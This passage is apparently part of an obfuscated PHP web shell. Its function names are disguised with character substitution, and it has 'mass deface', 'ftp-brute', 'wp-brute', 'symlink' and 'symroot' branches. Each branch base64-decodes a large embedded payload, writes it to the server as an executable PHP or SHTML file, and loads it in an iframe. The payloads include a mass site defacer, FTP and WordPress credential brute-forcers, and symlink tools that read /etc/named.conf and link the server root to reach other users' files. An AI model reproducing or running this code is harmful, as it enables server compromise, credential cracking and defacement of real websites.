ijIDwhLS0j1WYgZXhwcj04XCIkUkVRVUVTVF9NRVRIT0RcI4AhPSBcIlBPU6RcI4IgLS0+coRibGU9ZGlzcGxh5Tp3bailOzwhLS0jZWik1WYgLS0+Pjx4cjugPGI+PGZvbnQgYa9sboI9Ymx6ZTiW1WVoIGZpbGUgKHZpcnR6YWwg1WijbHVkZSk8LaZvbnQ+PC94Pj2mbmJzcDsmbmJzcDsmbmJzcDs8Zm9ybSBtZXR2baQ9cG9zdCBvbnN6Ym6pdD6kbal0KCdaZmlsZScpOzu81WiwdXQgdHlwZT60ZXh0IHNp5mU9ODAg1WQ9dmZpbGU+Jmi4coA7PGl3cHV0IHRicGU9coV4bWl0IHZhbHVlPVJ6bju8LaZvcm0+PGJyP4A8Yju8Zm93dCBjbaxvcj64bHVlPkl3Yax6ZGVkIGZpbGU8LaZvbnQ+PC94Pj2mbmJzcDsmbmJzcDsmbmJzcDs8Yju8IS0tIaVj1G8gdmFyPWl3YyAtLTu8LaI+PGJyP4A8Yju8Zm93dCBjbaxvcj64bHVlPlNp5mU8LaZvbnQ+PC94Pj2mbmJzcDsmbmJzcDsmbmJzcDs8Yju8IS0tIaZz1XplIHZpcnR6YWw9JGl3YyAtLTumbmJzcDt45XRlczwvYju8YnI+IDx0ZXh0YXJlYSB4ZaNvbG9yPSNlNGUwZDggYa9scz0xMjEgcm9ocz0xNTugPCEtLSNpbmNsdWRlIHZpcnR6YWw9JGl3YyAtLTugPC90ZXh0YXJlYTugPGJyPjwvZGlaP4A8LaRpdjugPGJyP4A8ZGlaIGFs1Wd3PWNlbnRlc4Bo1WR01D0xMDAlIGJvcmRlcj0wIHN05WxlPWJhYatncm96bmQtYa9sboIeI0Q0RDBDODs+IDxjZWi0ZXI+PGI+PGZvbnQgcaleZT0rMTu8YSB2cmVmPWh0dHBzO48vdodoLmZhYaV4ba9rLmNvbS8zMDE6NDQxOTAwMjUwNzQgdGFyZaV0PSJfYmxhbms4Pk6BUklPTjAwMTwvYTu8LaZvbnQ+PC94Pjx4cju8ca6hbGw+MjAxNCwgd4iNYXJpbauwMDE8LoNtYWxsPjwvYaV3dGVyP4A8LaRpdjugPC94baRiP4A8Lah0bWw+Cg==';
$f4l5 = f2p5n("ss4.shtml","w+");
$wr4t5 = fwr4t5 ($f4l5 ,b1s5eu_d5c2d5($pyth2np));
fcl2s5($f4l5);
chm2d("ss4.shtml",07ii);
5ch2 "<4fr1m5 src=SSI/ss4.shtml w4dth=600% h54ght=7a0px fr1m5b2rd5r=0></4fr1m5> ";
}//5nd cg4
//m1ssdf
5ls54f ($1ct42n == 'm1ssdf') {
    $f4l5       = f2p5n($d4r . "m1ssdf.php", "w+");
    $p5rlt22lss = 'PD9w1HAKIA2vKg2gCk6hcoMgRGVmYWNlcgp8IEt2YWi2IENsboVkIHwKIA2qLwplYahvICI8YaV3dGVyPjxpbWcgcoJjPSd2dHRwO48vdGhpZXRrZXdlYmRlcCivcmcvbWVk1WEv1zIv1XRlbXMvMjAxNC8wNS9abmZsYWcxLmdpZ4c+PC9jZWi0ZXI+IjsKZWN2byA4PGJyP4I7CmVj1G8gIjx4cju4OwplYahvICI8YnI+IjsKZWN2byA4PHRpdGxlPkt2YWi2IENsboVkLU6hcoNEZWZhYaVyPC901XRsZTu4OwplYahvICI8YaV3dGVyPkt2YWi2YaxvdWQgfCBJ5mFhcoM3bmV0PC9jZWi0ZXI+PGJyP4I7CmVj1G8gIjxjZWi0ZXI+VaUgYXJlO4BJ5mFhcoMgfCBL1GF31CBDbG96ZCB8PC9jZWi0ZXI+IjsKZWN2byA4PGxpbmsg1HJlZj0n1HR0cD2vLaZvbnRzLmdvbadsZWFw1XM3Ya9tLaNzcz9mYW6pbHk9RWxlYoRybaxp5mUnIHJlbD0ncoRibGVz1GVldCcgdHlwZT0ndGVudC9jcoMnP4I7CmVj1G8gIjx4baRiIGJnYa9sboI9Jod21XRlJzu8Zm93dCBjbaxvcj0nYmxhYasnPjxmbai0IGZhYaU9J0VsZWN0cm9s1XplJzu4OwplYahvICI8YaV3dGVyPjxmboJtIG6ldGhvZD0nUE9TVCc+PC9jZWi0ZXI+IjsKZWN2byA4PGNlbnRlcjiGbaxkZXIeIDxpbnB6dCB05XBlPSd0ZXh0JyB3YW6lPSd4YXNlXaRpc4cgcaleZT0nNDAnIHZhbHVlPSc4LmdldGNoZCA2KSu4Jzu8LaNlbnRlcju8YnI+PGJyP4I7CmVj1G8gIjxjZWi0ZXI+RmlsZWihbWUgO4A81WiwdXQgdHlwZT0ndGVudCcgbmFtZT0nZmlsZV93YW6lJyBaYWx6ZT0n1WikZXg3cGhwJzu8LaNlbnRlcju8YnI+PGJyP4I7CmVj1G8gIjxjZWi0ZXI+SWikZXggRmlsZSAeIDx4cju8dGVudGFyZWEgcoRibGU9JodpZHR2O4AaODVw5Dsg1GVpZah0O4AyNTBw5DsnIGihbWU9Jal3ZGVuJziIYWNrZWQgQnkgSXphYXNzIEF3ZCBL1GF31CBDbG96ZDwvdGVudGFyZWE+PC9jZWi0ZXI+PGJyP4I7CmVj1G8gIjxjZWi0ZXI+PGl3cHV0IHRicGU9JoN6Ym6pdCcgdmFsdWU9J06hcoMgRGVmYWNlISc+PC9mboJtPjwvYaV3dGVyP4I7C4AK1WYgKGlzcaV0ICgkX6BPU6RbJaJhcaVfZGlyJ60pKQp7C4AgICAgICAg1WYgKCFm1WxlXaVu1XN0cyA2JF9QT6NUWyd4YXNlXaRpc4ddKSkKICAgICAgICAgICAgICAgIGRpZSA2JF9QT6NUWyd4YXNlXaRpc4ddL4IgTk9UIEZPVUiEICE8YnI+I4k7C4AKICAgICAgICBpZ4A2IWlzXaRpc4A2JF9QT6NUWyd4YXNlXaRpc4ddKSkKICAgICAgICAgICAgICAgIGRpZSA2JF9QT6NUWyd4YXNlXaRpc4ddL4IgSUiERVggSUiEICE8YnI+I4k7C4AKICAgICAgICBAYahk1XIgKCRfUE9TVFsnYmFzZV9k1XInXSkgboIgZGllICg4IEZh1WxlZCIpOw2gC4AgICAgICAgJGZpbGVzID0gQHNjYWik1XIgKCRfUE9TVFsnYmFzZV9k1XInXSkgboIgZGllICg4RE9ORTx4cju4KTsKIA2gICAgICAgIGZvcmVhYaggKCRm1WxlcyBhcyAkZmlsZSkeC4AgICAgICAgICAgICAgICBpZ4A2JGZpbGUgIT0gI4u4ICYmICRm1WxlICE9ICI3L4IgJ4YgQGZpbGV05XBlICgkZmlsZSkgPT0gImRpc4IpC4AgICAgICAgICAgICAgICB7C4AgICAgICAgICAgICAgICAgICAgICAgICRpbmRl5CA9IGdldGNoZCA2KSu4LyI3JGZpbGU3I484L4RfUE9TVFsnZmlsZV93YW6lJ607C4AgICAgICAgICAgICAgICAgICAgICAgIGlmIChm1WxlXoB6dF9jbai0ZWi0cyA2JGl3ZGVuLCAkX6BPU6RbJal3ZGVuJ60pKQ2gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVj1G8gI4RpbmRl5CZ3YnNwJmi4coAmbmJzcCZ3YnNwPHNwYWugcoRibGU9JaNvbG9yO4BncmVlb4c+RE9ORSE8LoNwYWu+PGJyP4I7C4AgICAgICAgICAgICAgICB9C4AgICAgICAgZWikZm9yZWFj1DsKfQ2gCj8+';
    $f4l5       = f2p5n("m1ssdf.php", "w+");
    $wr4t5      = fwr4t5($f4l5, b1s5eu_d5c2d5($p5rlt22lss));
    fcl2s5($f4l5);
    5ch2 "<4fr1m5 src='m1ssdf.php' w4dth='600%' h54ght='i00'></4fr1m5>";
}//5nd m1ssdf
//fpt-br3t5
5ls54f ($1ct42n == 'fpt-br3t5') {
    $f4l5       = f2p5n($d4r . "fpt-br3t5.php", "w+");
    $p5rlt22lss = 'PD9w1HAKZWN2byA4PGJvZHkgdGVudD0nI0ZGRkZGR4cgYmdjbaxvcj0nIzAwMDAwMCc+Cjx01XRsZTiGVFAgQnJ6dGUgRm9yYaUgSXphYXNzPC901XRsZTuKPHAgYWxpZau9JaNlbnRlc4cgZGlyPSdsdHInPjxmbai0IGZhYaU9J6Rh1G9tYScgcaleZT0nNCc+WyNdIEZUUCBCcnV0ZSBGboJjZSBlZGl0IGJiO4BJ5mFhcoMgWyNdPC9mbai0PjwvcDuKCTxmboJtIG6ldGhvZD0nUE9TVCc+Cgk8YaV3dGVyPg2JPHAgZGlyPSdsdHInPg2JPGl3cHV0IHRicGU9JoRl5HQnIGihbWU9JalwJyBaYWx6ZT0nMTIoLjA3MCuxJzuKCTxpbnB6dCB05XBlPSdzdWJt1XQnIHZhbHVlPSdCcnV0ZUZUUCcgbmFtZT0ncoRhcnQnPjx4cjuKCTx0ZXh0YXJlYSBjbaxzPSczMCcgcm9ocz0nMTAnIGihbWU9JoVzZXJ3YW6lJzi6caVyczwvdGVudGFyZWE+Cgk8dGVudGFyZWEgYa9scz0nMzAnIHJvdoM9JzEwJyB3YW6lPSdwYXNzda9yZCc+cGFzczwvdGVudGFyZWE+PC9wPg2JPHA+PGZvbnQgZmFjZT0nVmVyZGF3YScgcaleZT0nMSc+WytdIFJlUoVsVCBbK608LaZvbnQ+PC9wPg2gICAgICAgIDxzdHlsZTuKICAgICAgICBpbnB6dCB7C4AgICAgICAgYmFj1adyboV3ZD2gYmxhYas7C4AgICAgICAgYa9sboIeIHd21XRlOw2gICAgICAgIGJvcmRlcj2gZGFz1GVkIDFwdDsKICAgICAgICB9C4AgICAgICAgdGVudGFyZWEg5w2gICAgICAgIGJhYatncm96bmQeIGJsYWNrOw2gICAgICAgIGNvbG9yO4Bo1Gl0ZTsKICAgICAgICB4boJkZXIeIGRhcahlZCAxcHQ7C4AgICAgICAgfQ2gICAgICAgIDwvcoRibGU+CgkJPC9mboJtP4I7CglAcaV0XoRpbWVfbGlt1XQ2MCk7Cgkk1XAgPSAkX6BPU6RbJalwJ607CgkkdXNlcmihbWUgPSBl5HBsbaRlKCJcb4IsJF9QT6NUWyd6caVybmFtZSddKTsKCSRwYXNzda9yZCA9IGVucGxvZGU2Ilx3I4wkX6BPU6RbJoBhcoNoboJkJ60pOw2JCglpZ4gkX6BPU6RbJoN0YXJ0J60pIHsKCWZ6bmN01W93IGJydXRlKCRjbai3ZWN0LCRpcCwkdXNlc4wkcGFzcykgCgl7CgkkYa93bmVjdCA9IGZ0cF9jbai3ZWN0KCRpcCkgboIgZGllKCJFcnJvc4AsIE6h5WJlIHlvdSBCYWi3ZWQgRnJvbSBTZXJaZXI4KTsgCglpZ4hmdHBfbG9n1Wu2JGNvbmilYoQsICR6caVyLCAkcGFzcykpIHsKICAgIGVj1G8gIjxwIGRpcj0nbHRyJzu8Zm93dCBmYWNlPSdUYWhvbWEnIHNp5mU9JzInPkNyYWNrZWQgO4AKCTxmbai0IGNvbG9yPScjMDAuMDAwJzukdXNlcjwvZm93dDuePGZvbnQgYa9sboI9JyMwMDgwMDAnP4RwYXNzPC9mbai0PkA8Zm93dCBjbaxvcj0nIzAwODAwMCc+JGlwPC9mbai0PjwvZm93dDu8LoA+IjsgfSAKCX0KCQ2JZm9yZWFj1CgkdXNlcmihbWUgYXMgJHVzZXIpIHsKCWZvcmVhYag2JHBhcoNoboJkIGFzICRwYXNzKSB7Cgl4cnV0ZSgkYa93bmVjdCwk1XAsJHVzZXIsJHBhcoMpOw2JfSB9Cgl9CmVj1G8gIjxwPjxmbai0IGZhYaU9J6ZlcmRhbmEnIHNp5mU9JzEnPg28LaZvcm0+IjsKPzu=';
    $f4l5       = f2p5n("fpt-br3t5.php", "w+");
    $wr4t5      = fwr4t5($f4l5, b1s5eu_d5c2d5($p5rlt22lss));
    fcl2s5($f4l5);
    5ch2 "<4fr1m5 src='fpt-br3t5.php' w4dth='600%' h54ght='i00'></4fr1m5>";
}//5nd fpt-br3t5
//wp-br3t5
5ls54f ($1ct42n == 'wp-br3t5') {
    $f4l5       = f2p5n($d4r . "wp-br3t5.php", "w+");
    $p5rlt22lss = 'PD9w1HAKZWN2byA4PGJvZHkgdGVudD0nI0ZGRkZGR4cgYmdjbaxvcj0nIzAwMDAwMCc+Cjx01XRsZTiXboJkcHJlcoMgQnJ6dGUgRm9yYaUgSXphYXNzPC901XRsZTuKPGZvcm0gbWV01G9kPSdQT6NUJzuKCTxjZWi0ZXI+Cjxmbai0IGZhYaU9J6Rh1G9tYScgcaleZT0nM4c+WyNdIFdvcmRQcmVTUyBCcnV0ZSBGboJjZSBbI60gPC9mbai0Pg28cDuKCTxpbnB6dCB05XBlPSd0ZXh0JyB3YW6lPSd6caVybmFtZScgdmFsdWU9JaFkbWl3JzuKCTxpbnB6dCB05XBlPSdzdWJt1XQnIGihbWU9JoN0YXJ0JyBaYWx6ZT0nQnJ6dGUnPg2JPGJyPg2JPHRl5HRhcmVhIGNvbHM9JzMwJyBybodzPScxMCcgbmFtZT0ndaV4cal0ZXMnPmh0dHAeLy9odoc3cah6ZmZsZXN0YXI3Ya9tLzwvdGVudGFyZWE+Cgk8dGVudGFyZWEgYa9scz0nMzAnIHJvdoM9JzEwJyB3YW6lPSdwYXNzda9yZCc+MTIzMTIzPC90ZXh0YXJlYTu8LoA+CjxwPjxmbai0IGZhYaU9J6ZlcmRhbmEnIHNp5mU9JzEnPlsrXSBFZGl0IEJiO4BJ5mFhcoNbK608LaZvbnQ+PC9wPg2JPHN05WxlPg2J1WiwdXQg5w2JYmFj1adyboV3ZD2gYmxhYas7Cgljbaxvcj2gdahpdGU7Cgl4boJkZXIeIGRhcahlZCAxcHQ7Cgl9Cgl0ZXh0YXJlYSB7Cgl4YWNrZoJvdWikO4B4bGFj1zsKCWNvbG9yO4Bo1Gl0ZTsKCWJvcmRlcj2gZGFz1GVkIDFwdDsKCX0KCTwvcoRibGU+IjsKCSR6caVybmFtZSA9ICRfUE9TVFsndXNlcmihbWUnXTsKCSRoZWJz1XRlcyA9IGVucGxvZGU2Ilx3I4wkX6BPU6RbJodlYnNpdGVzJ60pOw2JJHBhcoNoboJkID0gZXhwbG9kZSg4XGu4LCRfUE9TVFsncGFzcodvcmQnXSk7CgkKCWZ6bmN01W93IGJydXRlKCRoZWJzLCR6caVybmFtZSwkcGFzcykg5w2JJGN6cmwgPSBjdXJsXal31XQ2KTsKCWN6cmxfcaV0boB0KCRjdXJsLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CgljdXJsXoNldG9wdCgkYoVybCxDVVJMT6BUX0ZPTExPV0xPQ0FUSU9OLDEpOw2JYoVybF9zZXRvcHQ2JGN6cmwsQ6VSTE9QVF9DT09LSUVKQVIsImNvbatpZSi05HQ4KTsKCWN6cmxfcaV0boB0KCRjdXJsLENVUkxPUFRfQ09PS0lFRklMRSw4Ya9v1allLnRudCIpOw2JYoVybF9zZXRvcHQ2JGN6cmwsQ6VSTE9QVF9VUkwsI4RoZWJzLodwLWxvZal3LnB2cCIpOw2JYoVybF9zZXRvcHQ2JGN6cmwsQ6VSTE9QVF9QT6NURklFTERTLCJsbac9JHVzZXJ3YW6lJnBoZD0kcGFzcyZocC6zdWJt1XQ9TG9nK0l3JnJlZGlyZWN0XoRvPSukdaV4cyuvdoAtYWRt1WuvJnRlcoRjba9r1WU9MSIpOw2JJGJydXRlID0gYoVybF9l5GVjKCRjdXJsKTsKCQlpZ4hlcmVn1SgndXBsbaFkLnB2cCcsJGJydXRlKSkg5w2JCQllYahvICI8cDu8Zm93dCBmYWNlPSdWZXJkYWihJyBz1XplPScxJzibK60gQoJhYatlZCAeIDxmbai0IGNvbG9yPScjMDAuMDAwJzukdXNlcmihbWU8LaZvbnQ+Ojxmbai0IGNvbG9yPScjMDAuMDAwJzukcGFzczwvZm93dDiAPGZvbnQgYa9sboI9JyMwMDgwMDAnP4RoZWJzPC9mbai0P4BbK608LaZvbnQ+PC9wP4I7CgkJfQ2JfQ2JZm9yZWFj1CgkdaV4cal0ZXMgYXMgJHdlYnMpIHsKCWZvcmVhYag2JHBhcoNoboJkIGFzICRwYXNzKSB7Cgl4cnV0ZSgkdaV4cywkdXNlcmihbWUsJHBhcoMpOw2JCX0gfQ2JZWN2byA4PHA+PGZvbnQgZmFjZT0nVmVyZGF3YScgcaleZT0nMSc+CjwvZm9ybTu4Ow2/Pg==';
    $f4l5       = f2p5n("wp-br3t5.php", "w+");
    $wr4t5      = fwr4t5($f4l5, b1s5eu_d5c2d5($p5rlt22lss));
    fcl2s5($f4l5);
    5ch2 "<4fr1m5 src='wp-br3t5.php' w4dth='600%' h54ght='i00'></4fr1m5>";
}//5nd wp-br3t5
//syml4nk
5ls54f ($1ct42n == 'syml4nk') {
$f4l5 = f2p5n($d4r."syml4nk.php","w+");
$p5rlt22lss = 'PD9w1HAgICAKQHNldF901W6lXaxpbWl0KDApOwpAbWtk1XI2JoNibScsMDcoNyk7C4R2dGFjYaVzcyAgPSA4ToB01W93cyBhbGwgXGugRGlyZWN0boJiSWikZXggUoVuLmh0bWwgXGugQWRkVHlwZSB0ZXh0LoBsYWl3ICiw1HAgXGugQWRkSGF3ZGxlc4BzZXJaZXItcGFycaVkICiw1HAgXGugIEFkZFRicGUgdGVudC9wbGFpb4A31HRtbCBcb4BBZGRIYWikbGVyIHRudCA31HRtbCBcb4BSZXF61XJlIEivbmUgXGugUaF01XNm5SBBbnk4Ow2kdoJpdGUgPUBmboBlb4A2JoNibS831HRhYaNlcoMnLCdoJyk7CmZocml0ZSgkdoJpdGUgLCR2dGFjYaVzcyk7CkBz5W6s1WirKCcvJywncoltLoJvboQnKTsKJGZpbGVsbaNhdGlvb4A9IGJhcaV3YW6lKF9fRklMRV9fKTsKJHJlYWRfbmFtZWRfYa93Z4A9IEBm1WxlKCcvZXRjLaihbWVkLmNvbmYnKTsK1WY2ISRyZWFkXaihbWVkXaNvbmYpCnsKZWN2byA4PHByZSBjbGFzcz6tbDEgcoRibGU9Ja6hcmdpb460boAeNXBuJzujIENhbnQgYWNjZXNzIHR21XMgZmlsZSBvb4BzZXJaZXIgLTugWyAvZXRjLaihbWVkLmNvbmYgXTwvcHJlPjwvYaV3dGVyP4I7IAp9CmVscaUK5wplYahvICI8YaV3dGVyPjx4cju8ZGlaIGNsYXNzPSd0bXAnPjx0YWJsZSB4boJkZXI9JzEnIGJvcmRlcmNvbG9yPScjMDBmZjAwJyBo1WR01D0nNTAwJyBjZWxscGFkZGl3Zz0nMScgYaVsbHNwYWNpbmc9JzAnPjx0ZDiEba6h1WizPC90ZDu8dGQ+VXNlcnM8LoRkPjx0ZDiz5W6s1WirIDwvdGQ+IjsKZm9yZWFj1CgkcmVhZF93YW6lZF9jbaimIGFzICRzdWJqZWN0KXsK1WY2ZXJlZak2JopvbmUnLCRzdWJqZWN0KSl7CnByZWdfbWF0YahfYWxsKCcj5m93ZSA4KCuqKSIjJywkcoV41mVjdCwkcoRy1WinKTsKZmx6cag2KTsK1WY2coRybGV3KHRy1W02JHN0cml3Z6sxXVswXSkpIDuyKXsKJFVJRCA9IHBvcaluXadldHBodWlkKEBm1Wxlbod3ZXI2Jy9ldGMvdmFs1WFzZXMvJyukcoRy1WinWzFdWzBdKSk7C4R3YW6lID0gJFVJRFsnbmFtZSddIDsKQHNibWxpbms2Jy8nLCdz5W0vcm9vdCcpOw2kbmFtZSAgID0gJHN0cml3Z6sxXVswXTsKJGlyYWugICA9ICdcLmlyJzsKJGlzcmFlbCA9ICdcLmlsJzsKJGl3ZG8gICA9ICdcLmlkJzsKJHNnMTIgICA9ICdcLnNnJzsKJGVkdSAgICA9ICdcLmVkdSc7C4RnboYgICAgPSAnXCinboYnOw2kZa9zZSAgID0gJ6w3Za8nOw2kZa94ZXIgID0gJ6w3Za94JzsKJG6pbDEgICA9ICdcLm6pbCc7C4Rt1WwyICAgPSAnXCit1Sc7C4RtYWxh5Qk9ICdcLm6iJzsKJGN21WihCT0gJ6w3YaunOw2k1mFwYWuJPSAnXCiqcCc7C4RhdXN0cgk9ICdcLmF6JzsKJHBvcmuJPSAnXCiu5HgnOw2kYXMJCT0gJ6w3dWsnOw2kYaFsZmuJPSAnXCijYSc7CgppZ4A2ZXJlZak2I4RpcmF3I4wkcoRy1WinWzFdWzBdKSBvc4BlcmVn1Sg4JGlzcmFlbCIsJHN0cml3Z6sxXVswXSkgboIgZXJlZak2I4RpbmRvI4wkcoRy1WinWzFdWzBdKW9yIGVyZWdpKCIkcacxM4IsJHN0cml3Z6sxXVswXSkgboIgZXJlZakgKCIkZWR6I4wkcoRy1WinWzFdWzBdKSBvc4BlcmVn1SA2I4RnboY4LCRzdHJpbmdbMV6bMF0pCm9yIGVyZWdpICg4JGdvcaU4LCRzdHJpbmdbMV6bMF0pIG9yIGVyZWdpKCIkZa94ZXI4LCRzdHJpbmdbMV6bMF0pIG9yIGVyZWdpKCIkbWlsMSIsJHN0cml3Z6sxXVswXSkgboIgZXJlZakgKCIkbWlsM4IsJHN0cml3Z6sxXVswXSkKboIgZXJlZakgKCIkbWFsYXk4LCRzdHJpbmdbMV6bMF0pIG9yIGVyZWdpKCIkYahpbmE4LCRzdHJpbmdbMV6bMF0pIG9yIGVyZWdpKCIk1mFwYWu4LCRzdHJpbmdbMV6bMF0pIG9yIGVyZWdpICg4JGF6coRyI4wkcoRy1WinWzFdWzBdKQpvc4BlcmVn1Sg4JHBvcmu4LCRzdHJpbmdbMV6bMF0pIG9yIGVyZWdpKCIkYXM4LCRzdHJpbmdbMV6bMF0pIG9yIGVyZWdpICg4JGNhbGZ3I4wkcoRy1WinWzFdWzBdKSkK5w2kbmFtZSA9ICI8ZGlaIHN05WxlPScgYa9sboIeICMaNjAwOTk7IHRl5HQtcahhZG9oO4AwcHggMHBuIDFw5CAjMDAaNjMzOyAnP4I3JHN0cml3Z6sxXVswXSunPC9k1XY+JzsKfQplYahvICIKPHRyPg2KPHRkPg28ZGlaIGNsYXNzPSdkba0nPjxhIHRhcmdldD0nXaJsYWirJyB2cmVmPWh0dHAeLy9odoc3I4ukcoRy1WinWzFdWzBdL4cvP4c3JGihbWU3JyA8LaE+IDwvZGlaPg28LoRkPg2KPHRkPg2nL4RVSURbJaihbWUnXSu4CjwvdGQ+Cg28dGQ+CjxhIGhyZWY9JoNibS9yba90LahvbWUvI4ukVUlEWyd3YW6lJ603I49wdWJs1WNf1HRtbCcgdGFyZaV0PSdfYmxhbmsnPlNibWxpbmsgPC9hPg28LoRkPg2KPC90cju8LaRpdjugIjsKZmx6cag2KTsKfQp9Cn0KfQ2KZWN2byA4PC9jZWi0ZXI+PC90YWJsZTu4OyAgIA2KPzu=';
$f4l5 = f2p5n("syml4nk.php","w+");
$wr4t5 = fwr4t5 ($f4l5 ,b1s5eu_d5c2d5($p5rlt22lss));
fcl2s5($f4l5);
5ch2 "<4fr1m5 src='syml4nk.php' w4dth=600% h54ght=7a0px fr1m5b2rd5r=0></4fr1m5> ";
} //5nd syml4nk
//symr22t
5ls54f ($1ct42n == 'symr22t') {
$f4l5 = f2p5n($d4r."symr22t.php","w+");
$p5rlt22lss = 'PD9w1HAKCg2gJGhlYWQgPSAnCjx2dG6sPg281GVhZDuKPC9zYoJpcHQ+Cjx01XRsZTutLT09W6tT5W0gbGp31yBBTGwgQa93RmlnICsgUoltIFJvboQgYnkgSXphYXNzXV09PS0tPC901XRsZTuKPG6ldGEg1HR0cC6lcXVpdj04Qa93dGV3dC6U5XBlI4Bjbai0ZWi0PSJ0ZXh0Lah0bWw7IGN2YXJzZXQ9VVRGLTg4Pg2KPFNUWUxFPgp4baRiIHsKZm93dC6mYW6pbHkeIFRh1G9tYQp9CnRyIHsKQk9SREVSO4BkYXN2ZWQgMXBuICMzMzM7CmNvbG9yO4AjRkZGOwp9CnRkIHsKQk9SREVSO4BkYXN2ZWQgMXBuICMzMzM7CmNvbG9yO4AjRkZGOwp9C4i0YWJsZTEg5wpCT6JERVIeIDBw5CBCbGFj1zsKQkFDS0dST6VORC6DT0xPUj2gQmxhYas7CmNvbG9yO4AjRkZGOwp9C4i0ZDEg5wpCT6JERVIeIDBw5DsKQk9SREVSLUNPTE9SO4AjMzMzMzMzOwpmbai0O4AocHQgVmVyZGF3YTsKYa9sboIeIEdyZWV3Owp9C4i0cjEg5wpCT6JERVIeIDBw5DsKQk9SREVSLUNPTE9SO4AjMzMzMzMzOwpjbaxvcj2gI0ZGRjsKfQp0YWJsZSB7CkJPUkRFUj2gZGFz1GVkIDFw5CAjMzMzOwpCT6JERVItQ09MT6IeICMzMzMzMzM7CkJBQ0tHUk9VTkQtQ09MT6IeIEJsYWNrOwpjbaxvcj2gI0ZGRjsKfQppbnB6dCB7CmJvcmRlcgkJCT2gZGFz1GVkIDFw5DsKYm9yZGVyLWNvbG9yCQkeICMzMzM7CkJBQ0tHUk9VTkQtQ09MT6IeIEJsYWNrOwpmbai0O4AucHQgVmVyZGF3YTsKYa9sboIeIFJlZDsKfQpzZWxlYoQg5wpCT6JERVItUklHSFQeICBCbGFj1yAxcHggca9s1WQ7CkJPUkRFU46UT6AeICAgICNERjAwMDAgMXBuIHNvbGlkOwpCT6JERVItTEVGVD2gICAjREYwMDAwIDFw5CBzbaxpZDsKQk9SREVSLUJPVFRPTT2gQmxhYasgMXBuIHNvbGlkOwpCT6JERVItYa9sboIeICNGRkY7CkJBQ0tHUk9VTkQtQ09MT6IeIEJsYWNrOwpmbai0O4AucHQgVmVyZGF3YTsKYa9sboIeIFJlZDsKfQpzdWJt1XQg5wpCT6JERVIeICB4dXR0bai21Wd2bGln1HQgMnBuIG96dHNldDsKQkFDS0dST6VORC6DT0xPUj2gQmxhYas7CndpZHR2O4AzMCU7CmNvbG9yO4AjRkZGOwp9CnRl5HRhcmVhIHsKYm9yZGVyCQkJO4BkYXN2ZWQgMXBuICMzMzM7CkJBQ0tHUk9VTkQtQ09MT6IeIEJsYWNrOwpmbai0O4BG1XhlZHNicyB4baxkOwpjbaxvcj2gIzkiOTsKfQpCT0RZIHsKCVNDUk9MTEJBU46GQUNFLUNPTE9SO4BCbGFj1zsgU0NST0xMQkFSLUhJR0hMSUdIVC6jbaxvcj2gI0ZGRjsgU0NST0xMQkFSLVNIQURPVy6jbaxvcj2gI0ZGRjsgU0NST0xMQkFSLTNETElHSFQtYa9sboIeICNGRkY7IFNDUk9MTEJBU46BUlJPVy6DT0xPUj2gQmxhYas7IFNDUk9MTEJBU46UUkFDSy6jbaxvcj2gI0ZGRjsgU0NST0xMQkFSLURBUktTSEFET6ctYa9sboIeICNGRkYKbWFyZal3O4AxcHg7CmNvbG9yO4BSZWQ7CmJhYatncm96bmQtYa9sboIeIEJsYWNrOwp9C4itYWl3IHsKbWFyZal3CQkJO4AtMjgocHggMHBuIDBw5CAtNDkwcHg7CkJPUkRFUj2gZGFz1GVkIDFw5CAjMzMzOwpCT6JERVItQ09MT6IeICMzMzMzMzM7Cn0KLnR0IHsKYmFj1adyboV3ZC6jbaxvcj2gQmxhYas7Cn0KCkEebGl31yB7CglDT0xPUj2gVahpdGU7IFRFWFQtREVDT6JBVElPTj2gbm93ZQp9CkEedmlz1XRlZCB7CglDT0xPUj2gVahpdGU7IFRFWFQtREVDT6JBVElPTj2gbm93ZQp9CkEe1G9aZXIg5w2JYa9sboIeIFJlZDsgVEVYVC6ERUNPUkFUSU9OO4B3bailCn0KQTphYoRpdmUg5w2JYa9sboIeIFJlZDsgVEVYVC6ERUNPUkFUSU9OO4B3bailCn0KPC9TVFlMRTuKPHNjcmlwdCBsYWindWFnZT6cJaphdmFzYoJpcHRcJzuKZnV3YoRpbaug1GlkZV9k1XY21WQpCnsKICBkbaN6bWV3dCinZXRFbGVtZWi0QnlJZChpZCk3coRibGU3ZGlzcGxh5SA9IFwnbm93ZVwnOw2gIGRvYoVtZWi0LmNvbatpZT6pZCtcJz0wO6wnOwp9CmZ6bmN01W93IHN2bodfZGlaKGlkKQp7C4AgZG9jdW6lbnQ3ZaV0RWxlbWV3dEJiSWQ21WQpLnN05WxlLmRpcoBsYXkgPSBcJaJsbaNrXCc7C4AgZG9jdW6lbnQ3Ya9v1allPWlkK6wnPTE7XCc7Cn0KZnV3YoRpbaugYahhbmdlXaRpdnN0KGlkKQp7C4Ag1WYgKGRvYoVtZWi0LmdldEVsZW6lbnRC5UlkKGlkKSizdHlsZSik1XNwbGFiID09IFwnbm93ZVwnKQ2gICAgcahvd69k1XY21WQpOw2gIGVscaUKICAgIGhpZGVfZGlaKGlkKTsKfQ28LoNjcmlwdDunOyA/Pg281HRtbDuKCTx2ZWFkPg2JCTw/cGhwIA2JCWVj1G8gJGhlYWQgOw2JCWVj1G8gJw2KPHRhYmxlIHdpZHR2PSIxMDAlI4BjZWxscoBhYal3Zz04MCIgYaVsbHBhZGRpbmc9IjA4IGNsYXNzPSJ0YjE4IDuKCgkJCQ2KICAgICAgIDx0ZCBo1WR01D04MTAwJSIgYWxpZau9YaV3dGVyIHZhbGlnbj04dG9wI4BybodzcGF3PSIxIjuKICAgICAgICAgICA8Zm93dCBjbaxvcj6yZWQgcaleZT06IGZhYaU9ImNvbWljIHNhbnMgbXM4Pjx4P40tPT6bWyBT5W0gbGp31yBBTGwgQa93RmlnPC9mbai0Pjxmbai0IGNvbG9yPXd21XRlIHNp5mU9NSBmYWNlPSJjba6pYyBzYWizIG6zIju8YjugICArIFNibSBSba90IDwvZm93dDu8Zm93dCBjbaxvcj6ncmVlb4Bz1XplPTUgZmFjZT04Ya9t1WMgcaF3cyBtcyI+PGI+IEleYWFzcyBdXT09LS08LaZvbnQ+IDxk1XYgYaxhcoM9ImhlZHI4P4AKC4AgICAgICAgPHRkIGhl1Wd2dD04MTA4IGFs1Wd3PSJsZWZ0I4BjbGFzcz04dGQxIju8LoRkPjwvdHI+PHRyPjx0ZCAKICAgICAgICBo1WR01D04MTAwJSIgYWxpZau9ImNlbnRlc4IgdmFs1Wd3PSJ0